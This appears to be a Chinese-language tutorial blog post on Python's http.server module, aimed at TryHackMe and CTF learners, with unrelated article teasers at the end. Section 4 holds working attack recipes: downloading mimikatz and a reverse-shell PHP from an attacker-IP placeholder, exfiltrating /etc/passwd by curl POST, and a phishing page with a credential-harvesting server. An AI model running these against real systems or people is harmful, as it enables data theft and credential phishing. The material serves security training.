学习黑客了解Python3的“HTTPServer“
5 分钟深入浅出理解Python3的"HTTPServer"模块 🌐
大家好!今天我们将探索Python3中的HTTPServer模块——一个简单却强大的工具,它允许你快速创建web服务器。在网络安全学习、渗透测试和CTF挑战中,这个模块常被用来搭建临时服务器、传输文件或创建钓鱼页面。作为TryHackMe平台上的安全学习者,掌握HTTPServer将为你的技能库增添一个实用工具!让我们开始吧!🚀
1. Python HTTPServer是什么?为什么它很重要?🤔
“在安全测试中,有时最简单的工具就是最有效的武器。”
Python的http.server
模块是标准库的一部分,它提供了一种快速创建HTTP服务器的方法,无需安装额外的依赖。在默认情况下,它会将当前目录的文件提供给网络请求者。
为什么HTTPServer在安全学习中特别重要:
- 🔄 快速在目标网络和攻击者机器之间传输文件
- 🕸️ 在CTF挑战中架设临时Web服务
- 📊 托管钓鱼页面或恶意payload
- 🛠️ 测试XSS、CSRF等Web漏洞
- 📡 无需额外工具即可创建数据渗出通道
2. 基本用法 📋
命令行使用方式
Python3提供了一种极简的启动HTTP服务器的方法:
python3 -m http.server [端口号]
例如,在默认8000端口启动服务器:
python3 -m http.server
或指定端口(如1337):
python3 -m http.server 1337
默认情况下,服务器会:
- 在当前目录中提供文件
- 监听所有网络接口(0.0.0.0)
- 显示访问日志
编程方式使用
以下是创建基本HTTP服务器的Python代码:
from http.server import HTTPServer, SimpleHTTPRequestHandler# 定义服务器地址和端口
host = '0.0.0.0'
port = 8000# 创建服务器
server = HTTPServer((host, port), SimpleHTTPRequestHandler)
print(f"服务器启动在 http://{host}:{port}")# 启动服务器(按Ctrl+C停止)
try:server.serve_forever()
except KeyboardInterrupt:print("\n服务器已停止")
3. HTTPServer相关类和功能 ⚙️
Python http.server
模块提供了几个重要的类:
类名 | 描述 | 常见用途 |
---|---|---|
HTTPServer | 基本HTTP服务器实现 | 创建HTTP服务的基础类 |
SimpleHTTPRequestHandler | 处理GET和HEAD请求的处理器 | 文件服务,默认处理器 |
CGIHTTPRequestHandler | 支持CGI脚本执行的处理器 | 执行动态脚本,较少使用 |
BaseHTTPRequestHandler | 所有HTTP处理器的基类 | 创建自定义处理器的起点 |
重要参数和选项:
参数/选项 | 描述 | 示例 |
---|---|---|
bind | 指定绑定的IP地址 | python -m http.server --bind 127.0.0.1 |
directory | 指定服务的目录 | python -m http.server --directory /tmp/files |
port | 指定端口号 | python -m http.server 9090 |
cgi | 启用CGI脚本支持 | python -m http.server --cgi |
4. 在TryHackMe和安全测试中的应用场景 🏆
场景1:从攻击机器向目标传输工具
当你需要将工具或脚本传输到已获得shell的目标机器时:
# 在攻击机器上,创建包含工具的目录
mkdir /tmp/tools
cp linpeas.sh mimikatz.exe reverse-shell.php /tmp/tools/
cd /tmp/tools# 启动HTTP服务器
python3 -m http.server 8000# 在目标机器上,下载文件
wget http://攻击者IP:8000/linpeas.sh
# 或使用curl
curl http://攻击者IP:8000/reverse-shell.php -o shell.php
# 或在Windows上
certutil -urlcache -split -f "http://攻击者IP:8000/mimikatz.exe" mimikatz.exe
场景2:数据渗出
当你需要从目标机器获取数据但无法直接使用SCP或其他方法时:
# 在攻击机器上,创建自定义处理器来接收和保存POST数据
cat > exfil_server.py << EOF
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi, base64class ExfilHandler(BaseHTTPRequestHandler):def do_POST(self):form = cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={'REQUEST_METHOD':'POST'})filename = form.getvalue('filename')data = form.getvalue('data')# 解码并保存数据decoded_data = base64.b64decode(data)with open(filename, 'wb') as f:f.write(decoded_data)print(f"[+] 接收到文件: {filename}, 大小: {len(decoded_data)} 字节")# 发送响应self.send_response(200)self.end_headers()self.wfile.write(b'Success')httpd = HTTPServer(('0.0.0.0', 8000), ExfilHandler)
print("数据接收服务器运行在端口 8000")
httpd.serve_forever()
EOFpython3 exfil_server.py# 在目标机器上,发送数据
cat /etc/passwd | base64 > /tmp/passwd.b64
curl -X POST -F "filename=passwd.txt" -F "data=$(cat /tmp/passwd.b64)" http://攻击者IP:8000/
场景3:托管钓鱼页面
# 创建伪造的登录页面
cat > index.html << EOF
<!DOCTYPE html>
<html>
<head><title>公司内网登录</title></head>
<body><h2>请重新登录您的账户</h2><form action="http://攻击者IP:8000/login.php" method="post">用户名: <input type="text" name="username"><br>密码: <input type="password" name="password"><br><input type="submit" value="登录"></form>
</body>
</html>
EOF# 创建处理表单的PHP风格处理器
cat > creds_server.py << EOF
from http.server import HTTPServer, BaseHTTPRequestHandler
import cgi, datetimeclass CredentialHandler(BaseHTTPRequestHandler):def do_GET(self):# 提供登录页面if self.path == '/':self.send_response(200)self.send_header('Content-type', 'text/html')self.end_headers()with open('index.html', 'rb') as file:self.wfile.write(file.read())else:self.send_response(404)self.end_headers()def do_POST(self):# 处理登录凭据form = cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={'REQUEST_METHOD':'POST'})username = form.getvalue('username')password = form.getvalue('password')# 记录凭据with open('credentials.txt', 'a') as f:timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")f.write(f"{timestamp} - 用户名: {username}, 密码: {password}\n")print(f"[+] 获取到凭据 - 用户名: {username}, 密码: {password}")# 重定向到实际网站self.send_response(302)self.send_header('Location', 'https://legitsite.com')self.end_headers()httpd = HTTPServer(('0.0.0.0', 8000), CredentialHandler)
print("钓鱼服务器运行在端口 8000")
httpd.serve_forever()
EOFpython3 creds_server.py
5. 自定义HTTPServer的高级技巧 🔥
创建自定义请求处理器
from http.server import HTTPServer, BaseHTTPRequestHandler
import jsonclass CustomHandler(BaseHTTPRequestHandler):def do_GET(self):# 处理GET请求if self.path == '/':# 返回主页self.send_response(200)self.send_header('Content-type', 'text/html')self.end_headers()self.wfile.write(b'<html><body><h1>自定义服务器</h1></body></html>')elif self.path == '/api':# 返回JSON数据self.send_response(200)self.send_header('Content-type', 'application/json')self.end_headers()data = {'status': 'online', 'message': 'API正常工作'}self.wfile.write(json.dumps(data).encode())else:# 处理404self.send_response(404)self.send_header('Content-type', 'text/plain')self.end_headers()self.wfile.write(b'404 Not Found')def do_POST(self):# 处理POST请求content_length = int(self.headers['Content-Length'])post_data = self.rfile.read(content_length)# 记录接收到的数据print(f"[+] 收到POST数据: {post_data.decode('utf-8')}")# 返回响应self.send_response(200)self.send_header('Content-type', 'text/plain')self.end_headers()self.wfile.write(b'数据已接收')# 创建并启动服务器
server = HTTPServer(('0.0.0.0', 8000), CustomHandler)
print("自定义服务器运行在端口 8000")
server.serve_forever()
支持HTTPS的服务器
from http.server import HTTPServer, SimpleHTTPRequestHandler
import ssl# 创建普通HTTP服务器
httpd = HTTPServer(('0.0.0.0', 4443), SimpleHTTPRequestHandler)# 配置SSL上下文
ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ssl_context.load_cert_chain(certfile='cert.pem', keyfile='key.pem')# 将服务器包装在SSL上下文中
httpd.socket = ssl_context.wrap_socket(httpd.socket, server_side=True)print("HTTPS服务器运行在端口 4443")
httpd.serve_forever()
使用线程处理多个请求
from http.server import ThreadingHTTPServer, SimpleHTTPRequestHandler# 使用ThreadingHTTPServer而不是HTTPServer
server = ThreadingHTTPServer(('0.0.0.0', 8000), SimpleHTTPRequestHandler)
print("多线程服务器运行在端口 8000")
server.serve_forever()
6. 安全考量 ⚠️
使用Python HTTPServer时需要注意以下安全问题:
安全风险 | 描述 | 缓解措施 |
---|---|---|
目录遍历 | 默认服务器可能泄露不应公开的文件 | 仅在专用目录中启动服务器,仅包含要共享的文件 |
敏感信息泄露 | 服务器可能意外提供敏感文件 | 检查目录内容,避免在包含敏感数据的目录中启动服务器 |
无认证 | 默认服务器没有认证机制 | 添加自定义认证或使用防火墙限制访问 |
无加密 | 默认使用HTTP而非HTTPS | 实现HTTPS服务器或通过SSH隧道提供服务 |
易于指纹识别 | 服务器头部暴露Python版本 | 自定义处理器中修改服务器头部 |
7. 实用技巧与最佳实践 💡
只对本地接口提供服务(安全性更高)
# 只监听本地接口
python3 -m http.server --bind 127.0.0.1
将服务器置于后台运行
# 使用nohup将服务器置于后台
nohup python3 -m http.server > server.log 2>&1 &# 或使用screen
screen -S webserver
python3 -m http.server
# 按Ctrl+A然后按D分离会话
设置HTTP基本认证
from http.server import HTTPServer, SimpleHTTPRequestHandler
import base64class AuthHandler(SimpleHTTPRequestHandler):KEY = 'YWRtaW46cGFzc3dvcmQ=' # base64编码的 'admin:password'def do_AUTHHEAD(self):self.send_response(401)self.send_header('WWW-Authenticate', 'Basic realm="Secure Area"')self.send_header('Content-type', 'text/html')self.end_headers()def do_GET(self):# 检查认证auth_header = self.headers.get('Authorization')if auth_header is None:self.do_AUTHHEAD()self.wfile.write(b'未提供认证信息')elif auth_header == f'Basic {self.KEY}':SimpleHTTPRequestHandler.do_GET(self)else:self.do_AUTHHEAD()self.wfile.write(b'认证失败')httpd = HTTPServer(('0.0.0.0', 8000), AuthHandler)
print("带基本认证的服务器运行在端口 8000")
httpd.serve_forever()
跟踪文件下载
from http.server import HTTPServer, SimpleHTTPRequestHandler
import time, osclass LoggingHandler(SimpleHTTPRequestHandler):def log_message(self, format, *args):# 增强日志记录client_addr = self.client_address[0]timestamp = time.strftime('%Y-%m-%d %H:%M:%S')path = self.path# 如果是文件请求,记录文件大小if os.path.isfile('.' + path):size = os.path.getsize('.' + path)with open('downloads.log', 'a') as f:f.write(f"{timestamp} - {client_addr} - {path} - {size} 字节\n")# 标准日志也保留super().log_message(format, *args)httpd = HTTPServer(('0.0.0.0', 8000), LoggingHandler)
print("带增强日志的服务器运行在端口 8000")
httpd.serve_forever()
8. Python HTTPServer速查表 📊
操作 | 命令或代码 |
---|---|
启动基本服务器 | python3 -m http.server |
指定端口 | python3 -m http.server 9090 |
指定绑定地址 | python3 -m http.server --bind 127.0.0.1 |
指定目录 | python3 -m http.server --directory /path/to/dir |
启用CGI | python3 -m http.server --cgi |
基本编程示例 | 见第2节"编程方式使用" |
自定义处理程序 | 见第5节"创建自定义请求处理器" |
HTTPS服务器 | 见第5节"支持HTTPS的服务器" |
多线程服务器 | 见第5节"使用线程处理多个请求" |
9. 调试和故障排除 🔧
问题 | 可能原因 | 解决方案 |
---|---|---|
“地址已在使用” | 端口已被占用 | 使用不同端口或找出并终止使用该端口的进程 |
无法从外部访问 | 防火墙阻止或绑定到127.0.0.1 | 检查防火墙规则,确保绑定到0.0.0.0 |
文件无法下载 | 权限问题或路径错误 | 检查文件权限,确认路径正确 |
服务器崩溃 | 请求处理错误 | 添加异常处理,查看错误日志 |
性能问题 | 单线程处理或大文件 | 使用ThreadingHTTPServer或考虑其他服务器 |
10. 总结与进阶学习 🚀
Python的http.server
模块提供了一个简单而强大的HTTP服务器,可以在没有其他工具时快速创建web服务。在TryHackMe和安全学习中,它可以成为文件传输、数据渗出和创建钓鱼页面的利器。
通过本文介绍的基本用法和高级技巧,你现在应该能够:
- ✅ 快速启动一个简单的HTTP文件服务器
- ✅ 创建自定义处理器来接收和处理数据
- ✅ 在安全测试和CTF挑战中有效应用HTTPServer
- ✅ 了解HTTPServer的安全考虑事项并实施防护措施
进阶学习方向:
- 📘 学习更复杂的Web框架如Flask或Django
- 🔐 深入了解Web安全和HTTP协议
- 🛡️ 探索反向shell和命令控制通道的实现
- 📚 了解其他常用的文件共享和传输方法
记住,在TryHackMe等平台上学习网络安全时,Python的HTTPServer是一个有价值的工具,但它应该在合法和道德的框架内使用。继续探索,不断精进你的技术能力!💪
相关文章:
学习黑客了解Python3的“HTTPServer“
5 分钟深入浅出理解Python3的"HTTPServer"模块 🌐 大家好!今天我们将探索Python3中的HTTPServer模块——一个简单却强大的工具,它允许你快速创建web服务器。在网络安全学习、渗透测试和CTF挑战中,这个模块常被用来搭建…...
结合 ECharts / Ant Design Blazor 构建高性能实时仪表盘
📊 结合 ECharts / Ant Design Blazor 构建高性能实时仪表盘 文章目录 📊 结合 ECharts / Ant Design Blazor 构建高性能实时仪表盘一、前言 🔍二、技术选型 🧰三、项目配置与架构 🏗️🌐 系统整体架构流程…...
刘强东杀入自动驾驶!京东注册“Joyrobotaxi”商标
又一个互联网大佬杀入汽车赛道!这一次,是京东的刘强东。5月6日,京东集团旗下公司一口气申请注册了多个名为"Joyrobotaxi"的商标,国际分类涵盖运输工具、科学仪器等核心领域。这一动作被业界普遍解读为:京东要…...
JavaScript基础-switch分支流程控制
在JavaScript编程中,switch语句提供了一种清晰、简洁的方式来实现多路分支选择。相比于多个if...else if语句,switch语句可以使代码更加易读和易于维护,尤其是在需要根据单个变量或表达式的值进行不同路径选择时尤为有用。本文将详细介绍swit…...
MySQL:视图
目录 一、什么是视图 二、视图的创建和使用 三、修改数据 (1)修改真实表 (2)修改视图 四、删除视图 五、视图的优点 一、什么是视图 视图是一个虚拟的表,它是基于一个或多个基本表或其他视图的查询结果集。视…...
05 mysql之DDL
一、SQL的四个分类 我们通常可以将 SQL 分为四类,分别是: DDL(数据定义语言)、DML(数据操作语言)、 DCL(数据控制语言)和 TCL(事务控制语言)。 DDL 用于创建…...
各国GDP变化趋势网页特效(实用动态图表)完整实例
https://download.csdn.net/download/YUJIANYUE/90803109...
【部署】win10的wsl环境下启动dify的web前端服务
回到目录 标题:win10的wsl环境下启动dify的web前端服务 0. 官网安装指引 官网有详细的源代码部署说明,参考: https://docs.dify.ai/en/getting-started/install-self-hosted/local-source-code 1. 安装nodejs 1.1. 下载和解压文件 参考:https://no…...
Veins同时打开SUMO和OMNeT++的GUI界面
进入 Veins 工程目录(即包含 sumo-launchd.py 的目录),打开终端设置 SUMO_HOME 环境变量(指向你安装的 SUMO 路径): export SUMO\_HOME/home/veins/src/sumo-1.11.0编译 Veins 工程(包含 OMNeT…...
模型 启动效应
系列文章分享模型,了解更多👉 模型_思维模型目录。刺激先行激活,后续认知更顺畅。 1 启动效应的应用 1.1 求职面试中对面试官的影响 背景:一家知名公司在招聘过程中发现,面试官对候选人的评价往往受到多种因素的影响…...
Android 使用Paging3 实现列表分页加载、下拉刷新、错误重试、筛选功能
Android 使用Paging3 实现列表加载 Paging3是Android Jetpack组件库中的分页加载库,它可以帮助开发者轻松实现列表数据的分页加载功能。本文将逐步讲解如何使用Paging3库实现一个带有加载更多、下拉刷新、错误重试、筛选功能的列表页面。 最终效果如下 加载更多、…...
SpringBoot2集成xxl-job详解
官方教程 搭建调度中心 Github Gitee 注:版本3.x开始要求Jdk17;版本2.x及以下支持Jdk1.8。如对Jdk版本有诉求,可选择接入不同版本 clone源代码执行xxl-job\doc\db\tables_xxl_job.sql # # XXL-JOB v2.4.1 # Copyright (c) 2015-present, x…...
洛图报告中的 FSHD 是什么?—— 解密九天画芯推动的三色光源显示技术
目录 一、洛图报告新焦点:FSHD 为何成为显示产业重要突破方向? (一)洛图报告核心结论:从技术突围到产业重构 二、技术解析:FSHD 如何重构显示底层逻辑? (一)物理架构…...
关于数据库查询速度优化
本人接手了一个关于项目没有任何文档信息的代码,代码也没有相关文档说明信息!所以在做数据库查询优化的时候不敢改动。 原因1: 老板需要我做一个首页的统计查询。明明才几十万条数据,而且我加了筛选条件为什么会这么慢ÿ…...
两数相加(2)
2. 两数相加 - 力扣(LeetCode) 解法: class Solution { public:ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) {ListNode * dummy new ListNode(0);int carry 0;ListNode * head dummy;while (l1 ! nullptr || l2 ! nullptr ||…...
车载学习(6)——CAPL(1)一些基础知识
1.一些CAPL的知识 CAPL通讯访问编程语言(Commmunication Access Programming language) CAPL的用途 ECU的仿真实现(报文的收发、数据的处理)实现总线日志纪录的控制实现总线数据自动化分析实现ECU功能的自动化测试实现ECU报文发…...
C++笔记-set和map的使用(包含multiset和multimap的讲解)
1.序列式容器和关联式容器 前面我们已经接触过STL中的部分容器如:string、vector、list、deque、array、forward_list等,这些容器统称为序列式容器,因为逻辑结构为线性序列的数据结构,两个位置存储的值之间一般没有紧密的关联关系࿰…...
GLPK(GNU线性规划工具包)介绍
GLPK全称为GNU Linear Programming Kit(GNU线性规划工具包),可从 https://sourceforge.net/projects/winglpk/ 下载源码及二进制库,最新版本为4.65。也可从 https://ftp.gnu.org/gnu/glpk/ 下载,仅包含源码,最新版本为5.0。 GLPK是…...
技嘉主板BIOS升级
截图可能不同的BIOS长的不一样,但大概相同,BIOS不下错,逐个版本升级就没问题 准备工作 准备工作一个fat32格式的U盘,用来存放BIOS确认主板型号 和当前BIOS版本 方式1:去系统信息里面 方式2: 去BIOS设置…...
自定义类型:结构体进阶
一、结构体类型的声明 前⾯我们在学习操作符和初阶结构体的时候,已经学习了结构体的知识,这⾥稍微复习⼀下。 1.1结构体的回顾 结构是⼀些值的集合,这些值称为成员变量。结构的每个成员可以是不同类型的变量。 1.2结构的声明 struct tag…...
linux perf top分析系统性能
1,看到内核宏是否支持perf功能 perf top -g 查看linux 内核宏定义 CONFIG_PERF_EVENTS=y CONFIG_HAVE_PERF_EVENTS=y CONFIG_FRAME_POINTER=y # 确保帧指针支持以捕获完整堆栈 2,使用perf top -g 报错 Access to performance monitoring and observability operations is l…...
串口屏调试 1.0
http://wiki.tjc1688.com 先把商家的链接贴过来 淘晶驰T1系列3.2寸串口屏tft液晶屏显示屏HMI触摸屏超12864液晶屏 这是主包的型号 打开这个玩意 有十个基本的功能区 新建工程 在界面的右边,指令一定要写在page前面,这里的波特率等等什么的都可以…...
Python面向对象编程:初识类与对象
面向对象编程(OOP)是Python编程中最重要的范式之一。本文将从零开始介绍Python中类和对象的基本概念,帮助初学者快速掌握面向对象编程的核心思想。 一、什么是面向对象编程? 面向对象编程(Object-Oriented Programming)是一种以"对象"为核心…...
局域网常用的测速工具,Iperf3使用教程
目录 下载方式 Windows Linux 使用方法:测试局域网带宽 步骤一:服务端准备 步骤二:客户端发起连接 步骤三:查看结果 参数说明 1. Iperf常用参数(测试够用) 2. 通用参数(Server端和Cli…...
[架构之美]linux常见故障问题解决方案(十九)
[架构之美]linux下常见故障问题解决方案 一,文本文件忙 问题一:rootwh-VMware-Virtual-Platform:/home/hail# cp /root/containerd/bin/* /usr/bin/ cp: 无法创建普通文件 ‘/usr/bin/containerd’: 文本文件忙 在Linux系统中遇到“文本文件忙”错误时…...
Java与Go语言对比教程
Java vs. Go:程序员的双节棍与瑞士军刀之战 🎯 先看一张灵魂对比图 🤖 Java老大哥 🚀 Go小钢炮 出生年份 1995(中年稳健) 2009(年轻活力&…...
计算机大类专业数据结构下半期实验练习题
1068: 图的按录入顺序深度优先搜索 #include"iostream" using namespace std; #include"cstring" int visited[100]; char s[100]; int a[100][100]; int n; void dfs(int k,int n) {if(visited[k]0){visited[k]1;cout<<s[k];for(int i0;i<n;i){i…...
Android 关闭Activity切换过渡动画
Android 9.0以前关闭过渡动画效果只需要把开发者模式中过渡动画缩放设为0就可以。也就是把def_window_transition_scale改为0% frameworks/base/packages/SettingsProvider/res/values/defaults.xml <fraction name"def_window_transition_scale">100%<…...
iperf3的介绍与舒勇
在 CentOS 7 中使用 iperf3 进行网络性能测试,分为客户端和服务器两部分。以下是使用步骤: 1. 安装 iperf3 首先,你需要在 CentOS 7 上安装 iperf3。可以通过以下命令进行安装: sudo yum install epel-release sudo yum install…...
Python 包管理新选择:uv
在 Python 中,uv 是由 Astral 公司开发的 Rust 高性能包管理工具,旨在替代传统 pip 并提供更快的依赖管理、Python 版本控制等功能。 https://github.com/astral-sh/uv 在 github 上已有 53k star 一、uv 的核心优势 极速性能:比 pip 快 10-100 倍。多版本 Python 管理:支…...
从需求到用例的AI路径:准确率与挑战
用工作流生成测试用例和自动化测试脚本! 引言:用例的黄金起点 在软件工程中,“测试用例”是连接需求理解与质量保障之间的关键桥梁。一份高质量的测试用例,不仅是验证功能实现是否符合需求的工具,更是产品风险感知、用…...
JavaSE核心知识点02面向对象编程02-06(泛型)
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 JavaSE核心知识点02面向对象编程02-06&#…...
xml与注解的区别
功能xml配置注解定义bean bean标签 id属性 class属性 Component Controller Service Repository ComponentScan 设置依赖注入 setter注入(set方法) 构造器注入(构造方法) Autowired Qualifier Value 配置第三方bean bean标签 静…...
进阶 DFS 学习笔记
字数:12017字。 文章盗的图注明了出处,全部出自 y 总的算法提高课。 不知道为啥这个时候才开始学这个东西,好像是很多同龄人都已经学完了。 进阶 DFS 具体来说好几个东西,所以可能内容有一些些多。 默认 DFS 和 BFS 已经掌握了…...
计算机设计大赛山东省赛区软件开发赛道线上答辩复盘
流程回顾: 1.抽签顺序: 抽签顺序并不一定代表是最终顺序,要注意看通知不要遗漏。 2.答辩形式: 线上答辩,加入腾讯会议,进会议时自己的备注是作品编号,等轮到自己组答辩时主持人会把人拉进来…...
第7次课 栈A
课堂学习 栈(stack) 是一种遵循先入后出逻辑的线性数据结构。 我们可以将栈类比为桌面上的一摞盘子,如果想取出底部的盘子,则需要先将上面的盘子依次移走。我们将盘子替换为各种类型的元素(如整数、字符、对象等&…...
TXT编码转换工具iconv
iconv.exe是实现TXT编码转换的命令行工具,支持几百种编码格式的转换,利用它可以在自主开发程序上实现TXT文档编码的自动转换。 一、命令参数格式 Usage: iconv [-c] [-s] [-f fromcode] [-t tocode] [file ...] or: iconv -l 二、转换的示例 将UTF-8…...
基于Spring Boot + Vue的高校心理教育辅导系统
一、项目背景介绍 随着高校对学生心理健康教育的重视,传统的人工心理辅导与测评模式已经难以满足广大师生的个性化需求。为了提高心理服务的效率、便捷度和覆盖范围,本项目开发了一个高校心理教育辅导系统,集成心理评测、辅导预约、留言交流…...
关于甲骨文(oracle cloud)丢失MFA的解决方案
前两年,申请了一个招商的多币种信用卡,然后就从网上撸了一个oracle的免费1h1g的服务器。 用了一段时间,人家要启用MFA验证。 啥叫MFA验证,类似与短信验证吧,就是绑定一个手机,然后下载一个app,每…...
Linux系统管理与编程17:自动化部署ftp服务
兰生幽谷,不为莫服而不芳; 君子行义,不为莫知而止休。 #virtual用户管理:passerbyA、captain和admin三个虚拟用户 # passerbyA只能看,captain可看读写上传,但不能删除。admin全部权限 [rootshell shell]…...
C++STL——stack,queue
stack与queue 前言容器适配器deque 前言 本篇主要讲解stack与queue的底层,但并不会进行实现,stack的接口 queue的接口 ,关于stack与queue的接口在这里不做讲解,因为通过前面的对STL的学习,这些接口都是大同小异的。 …...
HC-SR04超声波测距传感器
1.基本信息 供电电压5v,测量范围2cm~400cm,测量精度正负3mm,超声波频率40khz 2.连接引脚: 3.工作原理 TRIG引脚发送至少10us的高电平信号,ECHO引脚负责接受信号; 接受方式:计算测量高电平持续的时间,从一…...
内存安全暗战:从 CVE-2025-21298 看 C 语言防御体系的范式革命
引言 2025 年 3 月,美国 CERT 发布的《年度漏洞报告》揭示了触目惊心的数据:C/C 相关漏洞占全年高危漏洞的 68%,其中内存安全问题贡献了 92% 的远程代码执行风险。当 CVE-2025-21298 漏洞在某工业控制软件中被利用,导致欧洲某核电…...
Linux笔记---System V共享内存
1. System V共享内存简介 System V共享内存是一种在Linux系统中用于进程间通信的机制。顾名思义,就是申请一段可供多个进程共享的内存,以用于进程间通信,相对于管道机制要更加直接。 1.1 原理 System V共享内存通过创建和使用一个特定的IP…...
MySQL 1366 - Incorrect string value:错误
MySQL 1366 - Incorrect string value:错误 错误如何发生发生原因: 解决方法第一种尝试第二种尝试 错误 如何发生 在给MySQL添加数据的时候发生了下面的错误 insert into sys_dept values(100, 0, 0, 若依科技, 0, 若依, 15888888888, ryqq.com, 0,…...
慈缘基金会“蝴蝶飞”助西藏女孩白玛卓嘎“折翼重生”
历经六个月、178天的艰难治疗,来自西藏拉萨的15岁女孩白玛卓嘎,终于在4月底挺直脊梁,带着自信的笑容踏上了回家的路。这场跨越雪域高原与首都北京的“生命蜕变之旅”,不仅改写了这位藏族少女的人生轨迹,更见证了公益力…...
【生存技能】ubuntu 24.04 如何pip install
目录 原因解决方案说明 在接手一个新项目需要安装python库时弹出了以下提示: 原因 这个报错是因为在ubuntu中尝试直接使用 pip 安装 Python 包到系统环境中,ubuntu 系统 出于稳定性考虑禁止了这种操作 这里的kali是因为这台机器的用户起名叫kali,我也不知道为什么…...
TDengine 在智能制造中的核心价值
简介 智能制造与数据库技术的深度融合,已成为现代工业技术进步的一个重要里程碑。随着信息技术的飞速发展,智能制造已经成为推动工业转型升级的关键动力。在这一进程中,数据库技术扮演着不可或缺的角色,它不仅承载着海量的生产数…...
代码随想录第41天:图论2(岛屿系列)
一、岛屿数量(Kamacoder 99) 深度优先搜索: # 定义四个方向:右、下、左、上,用于 DFS 中四向遍历 direction [[0, 1], [1, 0], [0, -1], [-1, 0]]def dfs(grid, visited, x, y):"""对一块陆地进行深度…...
C语言复习--柔性数组
柔性数组是C99中提出的一个概念.结构体中的最后⼀个元素允许是未知大小的数组,这就叫做柔性数组成员。 格式大概如下 struct S { int a; char b; int arr[];//柔性数组 }; 也可以写成 struct S { int a; char b; int arr[0];//柔性数组 }; …...